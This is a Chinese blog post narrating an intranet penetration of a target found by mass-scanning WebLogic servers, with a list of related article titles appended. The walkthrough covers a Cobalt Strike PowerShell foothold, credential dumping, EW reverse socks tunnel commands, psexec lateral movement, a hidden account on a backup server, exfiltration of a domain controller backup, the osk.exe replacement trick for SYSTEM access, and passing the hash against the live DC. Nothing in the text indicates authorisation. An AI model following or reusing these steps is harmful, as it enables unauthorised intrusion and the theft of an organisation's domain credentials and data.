前言

因为主要还是想练习练习内网,所以用了最简单粗暴的方法去找寻找目标,利用fofa来批量了一波weblogic,不出一会便找到了目标。

简单的看了下机器环境,出网,没有杀软(后面发现实际是有一个很小众的防火墙的,但是不拦powershell),有内网环境。
所以这里直接尝试cs自带的Scripted Web Delivery模块,直接创建一个web服务用于一键下载和执行powershell。

运行刚刚生成的powershell

这边的CS成功上线。

【一>所有资源获取<一】
1、200份很多已经买不到的绝版电子书
2、30G安全大厂内部的视频资料
3、100份src文档
4、常见安全面试题
5、ctf大赛经典题目解析
6、全套工具包
7、应急响应笔记
8、网络安全学习路线

这里我们先来看看系统的信息。

根据上面的可知服务器是2012的,内网IP段在192.168.200.x
接着用Ladon扫了下内网环境。

这个内网段机器不多,可以看出有域环境。接着进行了多网卡检测,web检测。

可以看出这个内网有多个网段,开了一个web服务。
mimikatz只读到了一个用户跟加密的密码

密码可以在CMD5上解开

接下来就到最激动人心的扫描MS17010时刻!!!

可以看出有几台机器是可能存在MS17010的,所以打算开个socks代理直接MSF去打。
这里劝大家买服务器的时候,尽量买按量计费的服务器
所以这里,只能临时开了个按量计费的服务器,利用EW重新开了一条隧道出来。

具体流程如下:
把ew文件丢上刚刚开的服务器,执行:ew -s rcsocks -l 1900 -e 1200来配置一个转接隧道,意思就是将1900端口收到的代理请求转交给反连1200端口的主机

接着在目标机器上上传ew文件,执行:ew -s rssocks -d xxx.xxx.xxx.xxx(上方创建的服务器IP) -e 1200,开启目标主机socks5服务并反向连接到中转机器的1200端口,执行完稍等会就可以看到多了一行连接完成。

接着只需要在本地配置下代理就OK了。
Windows程序的话一般用sockscap配置以下这个代理就好了。

因为我们要用的是本地虚拟机里面的kali的MSF,kali的代理配置比较方便,先vim /etc/proxychains.conf ,在最下面加上代理

保存后直接proxychains 加上要启动的程序就挂上代理了。
比如我们msf要挂代理,就直接:proxychains msfconsole
内网之路永远是那么坎坷,在经历了一番换EXP,换工具+摇人之后,确定了MS17010确实是利用不了。
既然捷径走不了,那么换一条路,从web入手。

试了下弱口令注入啥的,没成功,谷歌翻译都翻译不过来,就算进了后台估计也看不懂,还是找其他途径吧。
于是进一步开始信息搜集:

查看保存登陆凭证,无

查看共享计算机列表
接着就开始尝试访问共享计算机的C盘

在最后一台时,发现成功访问了
Ping一下机器得到IP 192.168.200.6

右键一个beacon创建一个监听器

接着使用psexec_psh尝试上线192.168.200.6这台服务器

成功上线

接下来就对新上线的机器做一波信息搜集

没有其他发现
接下来回到起点,看看这个网段里面还有哪些机器

可以看到有四台linux机器,分别是22 , 1 , 5 , 11
这时候我们可以尝试一波弱口令。

简单的查看了进程之类的信息,没有发现,虽然这时候已经拿下了内网得两台机器,但是都不是域内机器,其他的linux主机测试弱口令又不正确,又陷入了僵局。
这时候,我看到先前拿下的.6的那台机器名为veeam backup,猜想这可能是一台备份服务器,他的硬盘内可能有备份文件,所以仔细检查了一下他的每个文件夹内容。

在D盘的文件夹下,发现了一个叫Backup的文件夹,里面存放了三个机器的备份。
简单百度了下后缀,发现是一款叫Veeam® Backup & Replication的软件,他的功能是专门为Vsphere等做备份。

一瞬间我的思路就清晰了,只需要在本地安装Veeam® Backup & Replication这软件,再将这台DC的全量备份包压缩传到本地,再恢复成虚拟机,然后通过PE,用CMD.EXE重命名覆盖了OSK.exe,这样子就可以在登录界面调出system的命令行,再想办法添加管理员账户或者修改管理员账户进入界面,本地上线CS,再进行hashdump直接读出存储的域内用户HASH,在通过Pth就可以直接拿下线上的DC了。
说干就干,因为这台备份服务器不出网,但是他和21这台出网机器有一个共享文件夹,为了方便行事,偷偷在备份服务器上创建了一个隐藏账号,直接7z把最新的一个DC全量备份压缩成700M一个的压缩包,全部放到了共享文件夹中。
出网的这台机器也只有7001端口出网,所以找到了weblogic的web路径,从共享文件夹中把压缩包都放进了web路径中,从web端进行下载。由于这台出网机器的带宽实在是太低了,均速200K,还不停的卡掉,在经过了漫长的等待后,终于下了下来。
在这漫长的下载过程中,我先一步本机下载下了Veeam® Backup & Replication这软件,
突然发现一个很有意思的地方,就是他可以支持本地管理员账号登录。

又因为他备份的是其他IP的虚拟机,我猜想他应该是登陆了Vsphere。
所以又一次挂代理连上去看看。

本地下载的那个全量备份在本地还原也很简单,只需要装了软件双击就回自动打开软件。

还原完成

接下来就简单了。下载老毛桃 ,生成一个ISO的pe工具箱

挂载到虚拟机中,开机按ESC

进入PE后,重命名cmd.exe为osk.exe将原来C盘中的\windows\system32\osk.exe给覆盖了,这样子在开机的时候打开屏幕键盘就会弹出SYSTEM权限的命令行。

这里直接添加用户出现了点问题。

最后将某个域用户修改密码后添加到本地管理员组成功进入了系统。
最后生成exe上线的时候,防火墙终于起保护了。
给防火墙一个正面图。

把他关了。

然而关闭要密码–
最后还是用最初的powershell上线了。

接着最有仪式感的一幕

最后只需要拿着hash去怼线上的DC就完事了。

网络安全——内网渗透完整流程相关推荐

  1. 内网渗透-完整的域渗透

    文章首发于Freebuf:https://www.freebuf.com/articles/network/306284.html 文章目录 域环境 概念 创建域 创建组&用户 加入域 域渗透 ...

  2. 后渗透(内网渗透学习笔记)

    外网和内网 内网是局域网,在同一个局域网内的各台计算机可以互相ping通(可以相互通信)另外一个局域网内的计算机不可以连入.除非用一台服务器做端口转发.这样才能连入别人内网 而外网就是公网,就是可以让 ...

  3. 0x02 内网渗透篇

     来源如下图:(微信公众号:0x00实验室) 00 - 内网渗透的流程 拿到跳板后,先探测一波内网存活主机,用net user /domian命令查看跳板机是否在域内,探测存活主机.提权.提取hash ...

  4. 内网安全之:内网渗透流程

    郑重声明: 本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关.倡导维护网络安全人人有责,共同维护网络文明和谐. 内网 ...

  5. vulnhub_内网渗透测试的记录——网络安全

    主要考察知识点 文件包含内网穿透命令上传弱口令更改权限HTTP协议HeaderElasticSearch-CVE暴力破解 网络拓扑 写完之后把靶机的网络拓扑也做了一下 写在之前 这次用的虚拟机是VM_ ...

  6. 内网渗透思路06之一次完整的渗透测试

    文章目录 零.本章所用技术 一.网络示意图 二.信息收集之端口探测 2.1端口探测 2.2探测出的端口服务 三.信息收集之子域名挖掘 四.漏洞测试 4.1 dedecms 安全检测 4.1.0 网站指 ...

  7. 一个完整的内网渗透是什么样子的

    0x00 前言 今天这篇文章将试图呈现一个完整的内网渗透过程.文章略长,如果感兴趣的话,请耐心阅读! 0x01 案例分析 实验环境: 目标环境:10.0.0.0/24, 10.0.1.0/24 攻击主 ...

  8. 【网络安全】MSF内网渗透

    MSF内网渗透 一.MSF介绍 1.简介 2.功能 (1)渗透攻击(Exploit) (2)攻击载荷(Payload) (3)溢出代码(Shellcode) (4)模块(Module) (5)监听器( ...

  9. 螣龙安科笔记:内网渗透测试(三)

    经过前两篇文章的介绍,相信大家对于内网渗透测试的一些基础知识已经有了足够的了解,这篇文章就将带你一起来了解内网渗透测试的全过程. (四)内网渗透流程 1.渗透工具准备 1.1扫描工具 1.1.1主动扫 ...

  10. 【内网渗透】利用非常规手段突破安全策略上线CS

    前言 本文为一篇利用非常规手段突破安全策略的内网渗透记录 [查看资料] 环境简述&说明 web打点getshell,webshell是冰蝎,权限为.net,权限很低,服务器为server 20 ...

最新文章

  1. Android 动态生成 EditTest
  2. android实现录像功能吗,Android实现录屏直播(一)ScreenRecorder的简单分析
  3. 双网卡主机配置oracle监听,VirtualBox设置双网卡实现虚机上网及主宿机互访
  4. linux系统之间无密传输,scp采用无密码在两台linux服务器之间传输数据(示例代码)...
  5. 数学建模1(历年问题与模型)
  6. python读取图像并相加_python给图像加上mask,并提取mask区域实例
  7. docker 安装mongodb集群,多台服务器
  8. 《每日一剂》适配器刷新报错adapter.notifyDataSetChanged()解决
  9. 知识图谱在招聘推荐匹配的应用
  10. 最强数据库工具——IDEA
  11. 进不去系统rpc服务器不可用,rpc服务器不可用_详细解决方法,彻底修复
  12. 大数据处理的四大步骤
  13. 【公众号】JAVA微信公众号技术大佬文章精选
  14. fash 3D 游戏
  15. 计算机专业课838,838计算机科学专业基础综合.docx
  16. html 取消settimeout,JavaScript中停止执行setInterval和setTimeout事件的方法
  17. c语言(1%3c%3cn),JavaScript教程 一段鬼畜风格的JavaScript解密
  18. zeppelin源码分析(0)——zeppelin要解决什么问题
  19. 【微信小程序系列】小程序简单连接后端数据库完整示例(附免费下载的源码)(Servlet)
  20. Android AOSP基础(三)Android系统源码的整编和单编

热门文章

  1. 2021-09-09
  2. js获取浏览器高度 宽度
  3. 解决PDF文件内部页面大小不一致问题
  4. hyperf获取客户端真实ip
  5. EXT2/EXT3文件系统
  6. HashMap底层原理实现
  7. FastDFS 原理介绍
  8. 易鲸捷数据库(EsgynDB)常用SQL
  9. 独家 | 利用滴滴出行数据透视中国城市空间发展(附视频PPT)
  10. java中的jQuery与Ajax的应用,菜鸟教程